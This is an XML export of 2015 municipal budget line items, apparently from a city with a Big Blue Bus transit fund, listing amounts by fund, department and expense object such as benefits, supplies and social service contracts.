<row _id="14595"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14596"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="14597"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>91782.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>91782.0</total></row>
<row _id="14598"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561201.0</object><object_description>CHRYSALIS-EMPLOY ASST-GEN FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>236857.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>236857.0</total></row>
<row _id="14599"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562341.0</object><object_description>SMC- The Pico Promise</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>141782.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>141782.0</total></row>
<row _id="14600"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563141.0</object><object_description>SM/MAL-MEALS ON WHEELS-GEN FND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>48973.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>48973.0</total></row>
<row _id="14601"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>564111.0</object><object_description>CASE MANAGEMENT AND EDUCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>93173.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>93173.0</total></row>
<row _id="14602"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>565232.0</object><object_description>DOMESTIC VIOLENCE PROGRAM</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>79645.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79645.0</total></row>
<row _id="14603"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="14604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="14605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>544280.0</object><object_description>HAZ-MAT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11775.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11775.0</total></row>
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<row _id="14713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>33658.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33658.0</total></row>
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<row _id="14717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>249305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>249305.0</total></row>
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<row _id="14719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>6847.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6847.0</total></row>
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<row _id="14734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>681.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>681.0</total></row>
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<row _id="14736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11329.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11329.0</total></row>
<row _id="14737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>34474.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34474.0</total></row>
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<row _id="14746"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1584.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1584.0</total></row>
<row _id="14747"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>92339.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>92339.0</total></row>
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<row _id="14751"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17759.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17759.0</total></row>
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<row _id="14764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1107.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1107.0</total></row>
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<row _id="14768"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1556.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1556.0</total></row>
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<row _id="14770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1076.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1076.0</total></row>
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<row _id="14784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>80999.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80999.0</total></row>
<row _id="14785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>96286.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96286.0</total></row>
<row _id="14786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>14476.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14476.0</total></row>
<row _id="14787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8428.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8428.0</total></row>
<row _id="14788"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>432.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
<row _id="14789"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5956.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5956.0</total></row>
<row _id="14790"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1148.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1148.0</total></row>
<row _id="14791"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2764.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2764.0</total></row>
<row _id="14792"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2305.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2305.0</total></row>
<row _id="14793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11363.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11363.0</total></row>
<row _id="14794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3533.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3533.0</total></row>
<row _id="14795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>428.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>428.0</total></row>
<row _id="14796"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2195.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2195.0</total></row>
<row _id="14797"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3027.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3027.0</total></row>
<row _id="14798"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2537.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2537.0</total></row>
<row _id="14799"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2924.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2924.0</total></row>
<row _id="14800"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>71628.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71628.0</total></row>
<row _id="14801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8961.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8961.0</total></row>
<row _id="14802"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>28623.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28623.0</total></row>
<row _id="14803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>5572.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5572.0</total></row>
<row _id="14804"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1942.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1942.0</total></row>
<row _id="14805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3740.0</total></row>
<row _id="14806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4417.0</total></row>
<row _id="14807"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="14808"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>2791.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2791.0</total></row>
